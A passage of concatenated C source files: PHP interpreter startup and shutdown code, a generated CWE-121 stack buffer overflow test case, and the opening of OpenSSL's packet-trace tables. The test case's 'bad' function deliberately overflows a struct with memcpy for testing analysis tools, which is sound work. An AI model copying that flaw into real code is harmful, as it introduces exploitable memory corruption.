REGISTER_MAIN_LONG_CONSTANT("PHP_VERSION_ID", PHP_VERSION_ID, CONST_PERSISTENT | CONST_CS);
#ifdef ZTS
REGISTER_MAIN_LONG_CONSTANT("PHP_ZTS", 1, CONST_PERSISTENT | CONST_CS);
#else
REGISTER_MAIN_LONG_CONSTANT("PHP_ZTS", 0, CONST_PERSISTENT | CONST_CS);
#endif
REGISTER_MAIN_LONG_CONSTANT("PHP_DEBUG", PHP_DEBUG, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_OS", php_os, strlen(php_os), CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_SAPI", sapi_module.name, strlen(sapi_module.name), CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("DEFAULT_INCLUDE_PATH", PHP_INCLUDE_PATH, sizeof(PHP_INCLUDE_PATH)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PEAR_INSTALL_DIR", PEAR_INSTALLDIR, sizeof(PEAR_INSTALLDIR)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PEAR_EXTENSION_DIR", PHP_EXTENSION_DIR, sizeof(PHP_EXTENSION_DIR)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_EXTENSION_DIR", PHP_EXTENSION_DIR, sizeof(PHP_EXTENSION_DIR)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_PREFIX", PHP_PREFIX, sizeof(PHP_PREFIX)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_BINDIR", PHP_BINDIR, sizeof(PHP_BINDIR)-1, CONST_PERSISTENT | CONST_CS);
#ifndef PHP_WIN32
REGISTER_MAIN_STRINGL_CONSTANT("PHP_MANDIR", PHP_MANDIR, sizeof(PHP_MANDIR)-1, CONST_PERSISTENT | CONST_CS);
#endif
REGISTER_MAIN_STRINGL_CONSTANT("PHP_LIBDIR", PHP_LIBDIR, sizeof(PHP_LIBDIR)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_DATADIR", PHP_DATADIR, sizeof(PHP_DATADIR)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_SYSCONFDIR", PHP_SYSCONFDIR, sizeof(PHP_SYSCONFDIR)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_LOCALSTATEDIR", PHP_LOCALSTATEDIR, sizeof(PHP_LOCALSTATEDIR)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_CONFIG_FILE_PATH", PHP_CONFIG_FILE_PATH, strlen(PHP_CONFIG_FILE_PATH), CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_CONFIG_FILE_SCAN_DIR", PHP_CONFIG_FILE_SCAN_DIR, sizeof(PHP_CONFIG_FILE_SCAN_DIR)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_SHLIB_SUFFIX", PHP_SHLIB_SUFFIX, sizeof(PHP_SHLIB_SUFFIX)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_EOL", PHP_EOL, sizeof(PHP_EOL)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_MAXPATHLEN", MAXPATHLEN, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_INT_MAX", ZEND_LONG_MAX, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_INT_MIN", ZEND_LONG_MIN, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_INT_SIZE", SIZEOF_ZEND_LONG, CONST_PERSISTENT | CONST_CS);
#ifdef PHP_WIN32
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_VERSION_MAJOR", EG(windows_version_info).dwMajorVersion, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_VERSION_MINOR", EG(windows_version_info).dwMinorVersion, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_VERSION_BUILD", EG(windows_version_info).dwBuildNumber, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_VERSION_PLATFORM", EG(windows_version_info).dwPlatformId, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_VERSION_SP_MAJOR", EG(windows_version_info).wServicePackMajor, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_VERSION_SP_MINOR", EG(windows_version_info).wServicePackMinor, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_VERSION_SUITEMASK", EG(windows_version_info).wSuiteMask, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_VERSION_PRODUCTTYPE", EG(windows_version_info).wProductType, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_NT_DOMAIN_CONTROLLER", VER_NT_DOMAIN_CONTROLLER, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_NT_SERVER", VER_NT_SERVER, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_WINDOWS_NT_WORKSTATION", VER_NT_WORKSTATION, CONST_PERSISTENT | CONST_CS);
#endif
php_binary_init();
if (PG(php_binary)) {
REGISTER_MAIN_STRINGL_CONSTANT("PHP_BINARY", PG(php_binary), strlen(PG(php_binary)), CONST_PERSISTENT | CONST_CS);
} else {
REGISTER_MAIN_STRINGL_CONSTANT("PHP_BINARY", "", 0, CONST_PERSISTENT | CONST_CS);
}
php_output_register_constants();
php_rfc1867_register_constants();
/* this will read in php.ini, set up the configuration parameters,
load zend extensions and register php function extensions
to be loaded later */
if (php_init_config() == FAILURE) {
return FAILURE;
}
/* Register PHP core ini entries */
REGISTER_INI_ENTRIES();
/* Register Zend ini entries */
zend_register_standard_ini_entries();
/* Disable realpath cache if an open_basedir is set */
if (PG(open_basedir) && *PG(open_basedir)) {
CWDG(realpath_cache_size_limit) = 0;
}
/* initialize stream wrappers registry
* (this uses configuration parameters from php.ini)
*/
if (php_init_stream_wrappers(module_number) == FAILURE) {
php_printf("PHP: Unable to initialize stream url wrappers.\n");
return FAILURE;
}
zuv.html_errors = 1;
zuv.import_use_extension = ".php";
zuv.import_use_extension_length = (uint)strlen(zuv.import_use_extension);
php_startup_auto_globals();
zend_set_utility_values(&zuv);
php_startup_sapi_content_types();
/* startup extensions statically compiled in */
if (php_register_internal_extensions_func() == FAILURE) {
php_printf("Unable to start builtin modules\n");
return FAILURE;
}
/* start additional PHP extensions */
php_register_extensions_bc(additional_modules, num_additional_modules);
/* load and startup extensions compiled as shared objects (aka DLLs)
as requested by php.ini entries
these are loaded after initialization of internal extensions
as extensions *might* rely on things from ext/standard
which is always an internal extension and to be initialized
ahead of all other internals
*/
php_ini_register_extensions();
zend_startup_modules();
/* start Zend extensions */
zend_startup_extensions();
zend_collect_module_handlers();
/* register additional functions */
if (sapi_module.additional_functions) {
if ((module = zend_hash_str_find_ptr(&module_registry, "standard", sizeof("standard")-1)) != NULL) {
EG(current_module) = module;
zend_register_functions(NULL, sapi_module.additional_functions, NULL, MODULE_PERSISTENT);
EG(current_module) = NULL;
}
}
/* disable certain classes and functions as requested by php.ini */
php_disable_functions();
php_disable_classes();
/* make core report what it should */
if ((module = zend_hash_str_find_ptr(&module_registry, "core", sizeof("core")-1)) != NULL) {
module->version = PHP_VERSION;
module->info_func = PHP_MINFO(php_core);
}
#ifdef PHP_WIN32
/* Disable incompatible functions for the running platform */
if (php_win32_disable_functions() == FAILURE) {
php_printf("Unable to disable unsupported functions\n");
return FAILURE;
}
#endif
zend_post_startup();
module_initialized = 1;
/* Check for deprecated directives */
/* NOTE: If you add anything here, remember to add it to Makefile.global! */
{
struct {
const long error_level;
const char *phrase;
const char *directives[17]; /* Remember to change this if the number of directives change */
} directives[2] = {
{
E_DEPRECATED,
"Directive '%s' is deprecated in PHP 5.3 and greater",
{
NULL
}
},
{
E_CORE_ERROR,
"Directive '%s' is no longer available in PHP",
{
"allow_call_time_pass_reference",
"asp_tags",
"define_syslog_variables",
"highlight.bg",
"magic_quotes_gpc",
"magic_quotes_runtime",
"magic_quotes_sybase",
"register_globals",
"register_long_arrays",
"safe_mode",
"safe_mode_gid",
"safe_mode_include_dir",
"safe_mode_exec_dir",
"safe_mode_allowed_env_vars",
"safe_mode_protected_env_vars",
"zend.ze1_compatibility_mode",
NULL
}
}
};
unsigned int i;
zend_try {
/* 2 = Count of deprecation structs */
for (i = 0; i < 2; i++) {
const char **p = directives[i].directives;
while(*p) {
zend_long value;
if (cfg_get_long((char*)*p, &value) == SUCCESS && value) {
zend_error(directives[i].error_level, directives[i].phrase, *p);
}
++p;
}
}
} zend_catch {
retval = FAILURE;
} zend_end_try();
}
sapi_deactivate();
module_startup = 0;
shutdown_memory_manager(1, 0);
zend_interned_strings_snapshot();
virtual_cwd_activate();
/* we're done */
return retval;
}
/* }}} */
void php_module_shutdown_for_exec(void)
{
/* used to close fd's in the range 3.255 here, but it's problematic */
}
/* {{{ php_module_shutdown_wrapper
*/
int php_module_shutdown_wrapper(sapi_module_struct *sapi_globals)
{
php_module_shutdown();
return SUCCESS;
}
/* }}} */
/* {{{ php_module_shutdown
*/
void php_module_shutdown(void)
{
int module_number=0; /* for UNREGISTER_INI_ENTRIES() */
module_shutdown = 1;
if (!module_initialized) {
return;
}
#ifdef ZTS
ts_free_worker_threads();
#endif
#if defined(PHP_WIN32) || (defined(NETWARE) && defined(USE_WINSOCK))
/*close winsock */
WSACleanup();
#endif
#ifdef PHP_WIN32
php_win32_free_rng_lock();
#endif
sapi_flush();
zend_shutdown();
/* Destroys filter & transport registries too */
php_shutdown_stream_wrappers(module_number);
UNREGISTER_INI_ENTRIES();
/* close down the ini config */
php_shutdown_config();
#ifndef ZTS
zend_ini_shutdown();
shutdown_memory_manager(CG(unclean_shutdown), 1);
#else
zend_ini_global_shutdown();
#endif
php_output_shutdown();
php_shutdown_temporary_directory();
module_initialized = 0;
#ifndef ZTS
core_globals_dtor(&core_globals);
gc_globals_dtor();
#else
ts_free_id(core_globals_id);
#endif
#if defined(PHP_WIN32) && defined(_MSC_VER) && (_MSC_VER >= 1400)
if (old_invalid_parameter_handler == NULL) {
_set_invalid_parameter_handler(old_invalid_parameter_handler);
}
#endif
}
/* }}} */
/* {{{ php_execute_script
*/
PHPAPI int php_execute_script(zend_file_handle *primary_file)
{
zend_file_handle *prepend_file_p, *append_file_p;
zend_file_handle prepend_file = {{0}, NULL, NULL, 0, 0}, append_file = {{0}, NULL, NULL, 0, 0};
#if HAVE_BROKEN_GETCWD
volatile int old_cwd_fd = -1;
#else
char *old_cwd;
ALLOCA_FLAG(use_heap)
#endif
int retval = 0;
EG(exit_status) = 0;
#ifndef HAVE_BROKEN_GETCWD
# define OLD_CWD_SIZE 4096
old_cwd = do_alloca(OLD_CWD_SIZE, use_heap);
old_cwd[0] = '\0';
#endif
zend_try {
char realfile[MAXPATHLEN];
#ifdef PHP_WIN32
if(primary_file->filename) {
UpdateIniFromRegistry((char*)primary_file->filename);
}
#endif
PG(during_request_startup) = 0;
if (primary_file->filename && !(SG(options) & SAPI_OPTION_NO_CHDIR)) {
#if HAVE_BROKEN_GETCWD
/* this looks nasty to me */
old_cwd_fd = open(".", 0);
#else
php_ignore_value(VCWD_GETCWD(old_cwd, OLD_CWD_SIZE-1));
#endif
VCWD_CHDIR_FILE(primary_file->filename);
}
/* Only lookup the real file path and add it to the included_files list if already opened
* otherwise it will get opened and added to the included_files list in zend_execute_scripts
*/
if (primary_file->filename &&
(primary_file->filename[0] != '-' || primary_file->filename[1] != 0) &&
primary_file->opened_path == NULL &&
primary_file->type != ZEND_HANDLE_FILENAME
) {
if (expand_filepath(primary_file->filename, realfile)) {
primary_file->opened_path = zend_string_init(realfile, strlen(realfile), 0);
zend_hash_add_empty_element(&EG(included_files), primary_file->opened_path);
}
}
if (PG(auto_prepend_file) && PG(auto_prepend_file)[0]) {
prepend_file.filename = PG(auto_prepend_file);
prepend_file.opened_path = NULL;
prepend_file.free_filename = 0;
prepend_file.type = ZEND_HANDLE_FILENAME;
prepend_file_p = &prepend_file;
} else {
prepend_file_p = NULL;
}
if (PG(auto_append_file) && PG(auto_append_file)[0]) {
append_file.filename = PG(auto_append_file);
append_file.opened_path = NULL;
append_file.free_filename = 0;
append_file.type = ZEND_HANDLE_FILENAME;
append_file_p = &append_file;
} else {
append_file_p = NULL;
}
if (PG(max_input_time) != -1) {
#ifdef PHP_WIN32
zend_unset_timeout();
#endif
zend_set_timeout(INI_INT("max_execution_time"), 0);
}
/*
If cli primary file has shabang line and there is a prepend file,
the `start_lineno` will be used by prepend file but not primary file,
save it and restore after prepend file been executed.
*/
if (CG(start_lineno) && prepend_file_p) {
int orig_start_lineno = CG(start_lineno);
CG(start_lineno) = 0;
if (zend_execute_scripts(ZEND_REQUIRE, NULL, 1, prepend_file_p) == SUCCESS) {
CG(start_lineno) = orig_start_lineno;
retval = (zend_execute_scripts(ZEND_REQUIRE, NULL, 2, primary_file, append_file_p) == SUCCESS);
}
} else {
retval = (zend_execute_scripts(ZEND_REQUIRE, NULL, 3, prepend_file_p, primary_file, append_file_p) == SUCCESS);
}
} zend_end_try();
#if HAVE_BROKEN_GETCWD
if (old_cwd_fd != -1) {
fchdir(old_cwd_fd);
close(old_cwd_fd);
}
#else
if (old_cwd[0] != '\0') {
php_ignore_value(VCWD_CHDIR(old_cwd));
}
free_alloca(old_cwd, use_heap);
#endif
return retval;
}
/* }}} */
/* {{{ php_execute_simple_script
*/
PHPAPI int php_execute_simple_script(zend_file_handle *primary_file, zval *ret)
{
char *old_cwd;
ALLOCA_FLAG(use_heap)
EG(exit_status) = 0;
#define OLD_CWD_SIZE 4096
old_cwd = do_alloca(OLD_CWD_SIZE, use_heap);
old_cwd[0] = '\0';
zend_try {
#ifdef PHP_WIN32
if(primary_file->filename) {
UpdateIniFromRegistry((char*)primary_file->filename);
}
#endif
PG(during_request_startup) = 0;
if (primary_file->filename && !(SG(options) & SAPI_OPTION_NO_CHDIR)) {
php_ignore_value(VCWD_GETCWD(old_cwd, OLD_CWD_SIZE-1));
VCWD_CHDIR_FILE(primary_file->filename);
}
zend_execute_scripts(ZEND_REQUIRE, ret, 1, primary_file);
} zend_end_try();
if (old_cwd[0] != '\0') {
php_ignore_value(VCWD_CHDIR(old_cwd));
}
free_alloca(old_cwd, use_heap);
return EG(exit_status);
}
/* }}} */
/* {{{ php_handle_aborted_connection
*/
PHPAPI void php_handle_aborted_connection(void)
{
PG(connection_status) = PHP_CONNECTION_ABORTED;
php_output_set_status(PHP_OUTPUT_DISABLED);
if (!PG(ignore_user_abort)) {
zend_bailout();
}
}
/* }}} */
/* {{{ php_handle_auth_data
*/
PHPAPI int php_handle_auth_data(const char *auth)
{
int ret = -1;
if (auth && auth[0] != '\0' && strncmp(auth, "Basic ", 6) == 0) {
char *pass;
zend_string *user;
user = php_base64_decode((const unsigned char*)auth + 6, strlen(auth) - 6);
if (user) {
pass = strchr(user->val, ':');
if (pass) {
*pass++ = '\0';
SG(request_info).auth_user = estrndup(user->val, user->len);
SG(request_info).auth_password = estrdup(pass);
ret = 0;
}
zend_string_free(user);
}
}
if (ret == -1) {
SG(request_info).auth_user = SG(request_info).auth_password = NULL;
} else {
SG(request_info).auth_digest = NULL;
}
if (ret == -1 && auth && auth[0] != '\0' && strncmp(auth, "Digest ", 7) == 0) {
SG(request_info).auth_digest = estrdup(auth + 7);
ret = 0;
}
if (ret == -1) {
SG(request_info).auth_digest = NULL;
}
return ret;
}
/* }}} */
/* {{{ php_lint_script
*/
PHPAPI int php_lint_script(zend_file_handle *file)
{
zend_op_array *op_array;
int retval = FAILURE;
zend_try {
op_array = zend_compile_file(file, ZEND_INCLUDE);
zend_destroy_file_handle(file);
if (op_array) {
destroy_op_array(op_array);
efree(op_array);
retval = SUCCESS;
}
} zend_end_try();
return retval;
}
/* }}} */
#ifdef PHP_WIN32
/* {{{ dummy_indent
just so that this symbol gets exported... */
PHPAPI void dummy_indent(void)
{
zend_indent();
}
/* }}} */
#endif
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: sw=4 ts=4 fdm=marker
* vim<600: sw=4 ts=4
*/
|
276043.c | /* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE121_Stack_Based_Buffer_Overflow__wchar_t_type_overrun_memcpy_12.c
Label Definition File: CWE121_Stack_Based_Buffer_Overflow.label.xml
Template File: point-flaw-12.tmpl.c
*/
/*
* @description
* CWE: 121 Stack Based Buffer Overflow
* Sinks: type_overrun_memcpy
* GoodSink: Perform the memcpy() and prevent overwriting part of the structure
* BadSink : Overwrite part of the structure by incorrectly using the sizeof(struct) in memcpy()
* Flow Variant: 12 Control flow: if(globalReturnsTrueOrFalse())
*
* */
#include "std_testcase.h"
#ifndef _WIN32
#include <wchar.h>
#endif
/* SRC_STR is 20 wchar_t long, including the null terminator */
#define SRC_STR L"0123456789abcde0123"
typedef struct _charVoid
{
wchar_t charFirst[16];
void * voidSecond;
void * voidThird;
} charVoid;
#ifndef OMITBAD
void CWE121_Stack_Based_Buffer_Overflow__wchar_t_type_overrun_memcpy_12_bad()
{
if(globalReturnsTrueOrFalse())
{
{
charVoid structCharVoid;
structCharVoid.voidSecond = (void *)SRC_STR;
/* Print the initial block pointed to by structCharVoid.voidSecond */
printWLine((wchar_t *)structCharVoid.voidSecond);
/* FLAW: Use the sizeof(structCharVoid) which will overwrite the pointer voidSecond */
memcpy(structCharVoid.charFirst, SRC_STR, sizeof(structCharVoid));
structCharVoid.charFirst[(sizeof(structCharVoid.charFirst)/sizeof(wchar_t))-1] = L'\0'; /* null terminate the string */
printWLine((wchar_t *)structCharVoid.charFirst);
printWLine((wchar_t *)structCharVoid.voidSecond);
}
}
else
{
{
charVoid structCharVoid;
structCharVoid.voidSecond = (void *)SRC_STR;
/* Print the initial block pointed to by structCharVoid.voidSecond */
printWLine((wchar_t *)structCharVoid.voidSecond);
/* FIX: Use sizeof(structCharVoid.charFirst) to avoid overwriting the pointer voidSecond */
memcpy(structCharVoid.charFirst, SRC_STR, sizeof(structCharVoid.charFirst));
structCharVoid.charFirst[(sizeof(structCharVoid.charFirst)/sizeof(wchar_t))-1] = L'\0'; /* null terminate the string */
printWLine((wchar_t *)structCharVoid.charFirst);
printWLine((wchar_t *)structCharVoid.voidSecond);
}
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* good1() uses the GoodSink on both sides of the "if" statement */
static void good1()
{
if(globalReturnsTrueOrFalse())
{
{
charVoid structCharVoid;
structCharVoid.voidSecond = (void *)SRC_STR;
/* Print the initial block pointed to by structCharVoid.voidSecond */
printWLine((wchar_t *)structCharVoid.voidSecond);
/* FIX: Use sizeof(structCharVoid.charFirst) to avoid overwriting the pointer voidSecond */
memcpy(structCharVoid.charFirst, SRC_STR, sizeof(structCharVoid.charFirst));
structCharVoid.charFirst[(sizeof(structCharVoid.charFirst)/sizeof(wchar_t))-1] = L'\0'; /* null terminate the string */
printWLine((wchar_t *)structCharVoid.charFirst);
printWLine((wchar_t *)structCharVoid.voidSecond);
}
}
else
{
{
charVoid structCharVoid;
structCharVoid.voidSecond = (void *)SRC_STR;
/* Print the initial block pointed to by structCharVoid.voidSecond */
printWLine((wchar_t *)structCharVoid.voidSecond);
/* FIX: Use sizeof(structCharVoid.charFirst) to avoid overwriting the pointer voidSecond */
memcpy(structCharVoid.charFirst, SRC_STR, sizeof(structCharVoid.charFirst));
structCharVoid.charFirst[(sizeof(structCharVoid.charFirst)/sizeof(wchar_t))-1] = L'\0'; /* null terminate the string */
printWLine((wchar_t *)structCharVoid.charFirst);
printWLine((wchar_t *)structCharVoid.voidSecond);
}
}
}
void CWE121_Stack_Based_Buffer_Overflow__wchar_t_type_overrun_memcpy_12_good()
{
good1();
}
#endif /* OMITGOOD */
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
CWE121_Stack_Based_Buffer_Overflow__wchar_t_type_overrun_memcpy_12_good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
CWE121_Stack_Based_Buffer_Overflow__wchar_t_type_overrun_memcpy_12_bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
922145.c | /*
* Copyright 2012-2016 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the OpenSSL license (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#include "ssl_locl.h"
#ifndef OPENSSL_NO_SSL_TRACE
/* Packet trace support for OpenSSL */
typedef struct {
int num;
const char *name;
} ssl_trace_tbl;
# define ssl_trace_str(val, tbl) \
do_ssl_trace_str(val, tbl, OSSL_NELEM(tbl))
# define ssl_trace_list(bio, indent, msg, msglen, value, table) \
do_ssl_trace_list(bio, indent, msg, msglen, value, \
table, OSSL_NELEM(table))
static const char *do_ssl_trace_str(int val, ssl_trace_tbl *tbl, size_t ntbl)
{
size_t i;
for (i = 0; i < ntbl; i++, tbl++) {
if (tbl->num == val)
return tbl->name;
}
return "UNKNOWN";
}
static int do_ssl_trace_list(BIO *bio, int indent,
const unsigned char *msg, size_t msglen,
size_t vlen, ssl_trace_tbl *tbl, size_t ntbl)
{
int val;
if (msglen % vlen)
return 0;
while (msglen) {
val = msg[0];
if (vlen == 2)
val = (val << 8) | msg[1];
BIO_indent(bio, indent, 80);
BIO_printf(bio, "%s (%d)\n", do_ssl_trace_str(val, tbl, ntbl), val);
msg += vlen;
msglen -= vlen;
}
return 1;
}
/* Version number */
static ssl_trace_tbl ssl_version_tbl[] = {
{SSL3_VERSION, "SSL 3.0"},
{TLS1_VERSION, "TLS 1.0"},
{TLS1_1_VERSION, "TLS 1.1"},
{TLS1_2_VERSION, "TLS 1.2"},
{DTLS1_VERSION, "DTLS 1.0"},
{DTLS1_2_VERSION, "DTLS 1.2"},
{DTLS1_BAD_VER, "DTLS 1.0 (bad)"}
};
static ssl_trace_tbl ssl_content_tbl[] = {
{SSL3_RT_CHANGE_CIPHER_SPEC, "ChangeCipherSpec"},
{SSL3_RT_ALERT, "Alert"},
{SSL3_RT_HANDSHAKE, "Handshake"},
{SSL3_RT_APPLICATION_DATA, "ApplicationData"},
{DTLS1_RT_HEARTBEAT, "HeartBeat"}
};
/* Handshake types */
static ssl_trace_tbl ssl_handshake_tbl[] = {
{SSL3_MT_HELLO_REQUEST, "HelloRequest"},
{SSL3_MT_CLIENT_HELLO, "ClientHello"},
{SSL3_MT_SERVER_HELLO, "ServerHello"},
{DTLS1_MT_HELLO_VERIFY_REQUEST, "HelloVerifyRequest"},
{SSL3_MT_NEWSESSION_TICKET, "NewSessionTicket"},
{SSL3_MT_CERTIFICATE, "Certificate"},
{SSL3_MT_SERVER_KEY_EXCHANGE, "ServerKeyExchange"},
{SSL3_MT_CERTIFICATE_REQUEST, "CertificateRequest"},
{SSL3_MT_CLIENT_KEY_EXCHANGE, "ClientKeyExchange"},
{SSL3_MT_CERTIFICATE_STATUS, "CertificateStatus"},
{SSL3_MT_SERVER_DONE, "ServerHelloDone"},
{SSL3_MT_CERTIFICATE_VERIFY, "CertificateVerify"},
{SSL3_MT_CLIENT_KEY_EXCHANGE, "ClientKeyExchange"},
{SSL3_MT_FINISHED, "Finished"},
{SSL3_MT_CERTIFICATE_STATUS, "CertificateStatus"}
};
/* Cipher suites */
static ssl_trace_tbl ssl_ciphers_tbl[] = {
{0x0000, "SSL_NULL_WITH_NULL_NULL"},
{0x0001, "SSL_RSA_WITH_NULL_MD5"},
{0x0002, "SSL_RSA_WITH_NULL_SHA"},
{0x0003, "SSL_RSA_EXPORT_WITH_RC4_40_MD5"},
{0x0004, "SSL_RSA_WITH_RC4_128_MD5"},
{0x0005, "SSL_RSA_WITH_RC4_128_SHA"},
{0x0006, "SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5"},
{0x0007, "SSL_RSA_WITH_IDEA_CBC_SHA"},
{0x0008, "SSL_RSA_EXPORT_WITH_DES40_CBC_SHA"},
{0x0009, "SSL_RSA_WITH_DES_CBC_SHA"},
{0x000A, "SSL_RSA_WITH_3DES_EDE_CBC_SHA"},
{0x000B, "SSL_DH_DSS_EXPORT_WITH_DES40_CBC_SHA"},
{0x000C, "SSL_DH_DSS_WITH_DES_CBC_SHA"},
{0x000D, "SSL_DH_DSS_WITH_3DES_EDE_CBC_SHA"},
{0x000E, "SSL_DH_RSA_EXPORT_WITH_DES40_CBC_SHA"},
{0x000F, "SSL_DH_RSA_WITH_DES_CBC_SHA"},
{0x0010, "SSL_DH_RSA_WITH_3DES_EDE_CBC_SHA"},
{0x0011, "SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA"},
{0x0012, "SSL_DHE_DSS_WITH_DES_CBC_SHA"},
{0x0013, "SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA"},
{0x0014, "SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA"},
{0x0015, "SSL_DHE_RSA_WITH_DES_CBC_SHA"},
{0x0016, "SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA"},
{0x0017, "SSL_DH_anon_EXPORT_WITH_RC4_40_MD5"},
{0x0018, "SSL_DH_anon_WITH_RC4_128_MD5"},
{0x0019, "SSL_DH_anon_EXPORT_WITH_DES40_CBC_SHA"},
{0x001A, "SSL_DH_anon_WITH_DES_CBC_SHA"},
{0x001B, "SSL_DH_anon_WITH_3DES_EDE_CBC_SHA"},
{0x001D, "SSL_FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA"},
{0x001E, "SSL_FORTEZZA_KEA_WITH_RC4_128_SHA"},
{0x001F, "TLS_KRB5_WITH_3DES_EDE_CBC_SHA"},
{0x0020, "TLS_KRB5_WITH_RC4_128_SHA"},
{0x0021, "TLS_KRB5_WITH_IDEA_CBC_SHA"},
{0x0022, "TLS_KRB5_WITH_DES_CBC_MD5"},
{0x0023, "TLS_KRB5_WITH_3DES_EDE_CBC_MD5"},
{0x0024, "TLS_KRB5_WITH_RC4_128_MD5"},
{0x0025, "TLS_KRB5_WITH_IDEA_CBC_MD5"},
{0x0026, "TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA"},
{0x0027, "TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA"},
{0x0028, "TLS_KRB5_EXPORT_WITH_RC4_40_SHA"},
{0x0029, "TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5"},
{0x002A, "TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5"},
{0x002B, "TLS_KRB5_EXPORT_WITH_RC4_40_MD5"},
{0x002C, "TLS_PSK_WITH_NULL_SHA"},
{0x002D, "TLS_DHE_PSK_WITH_NULL_SHA"},
{0x002E, "TLS_RSA_PSK_WITH_NULL_SHA"},
{0x002F, "TLS_RSA_WITH_AES_128_CBC_SHA"},
{0x0030, "TLS_DH_DSS_WITH_AES_128_CBC_SHA"},
{0x0031, "TLS_DH_RSA_WITH_AES_128_CBC_SHA"},
{0x0032, "TLS_DHE_DSS_WITH_AES_128_CBC_SHA"},
{0x0033, "TLS_DHE_RSA_WITH_AES_128_CBC_SHA"},
{0x0034, "TLS_DH_anon_WITH_AES_128_CBC_SHA"},
{0x0035, "TLS_RSA_WITH_AES_256_CBC_SHA"},
{0x0036, "TLS_DH_DSS_WITH_AES_256_CBC_SHA"},
{0x0037, "TLS_DH_RSA_WITH_AES_256_CBC_SHA"},
{0x0038, "TLS_DHE_DSS_WITH_AES_256_CBC_SHA"},
{0x0039, "TLS_DHE_RSA_WITH_AES_256_CBC_SHA"},
{0x003A, "TLS_DH_anon_WITH_AES_256_CBC_SHA"},
{0x003B, "TLS_RSA_WITH_NULL_SHA256"},
{0x003C, "TLS_RSA_WITH_AES_128_CBC_SHA256"},
{0x003D, "TLS_RSA_WITH_AES_256_CBC_SHA256"},
{0x003E, "TLS_DH_DSS_WITH_AES_128_CBC_SHA256"},
{0x003F, "TLS_DH_RSA_WITH_AES_128_CBC_SHA256"},
{0x0040, "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256"},
{0x0041, "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA"},
{0x0042, "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA"},
{0x0043, "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA"},
{0x0044, "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA"},
{0x0045, "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA"},
{0x0046, "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA"},
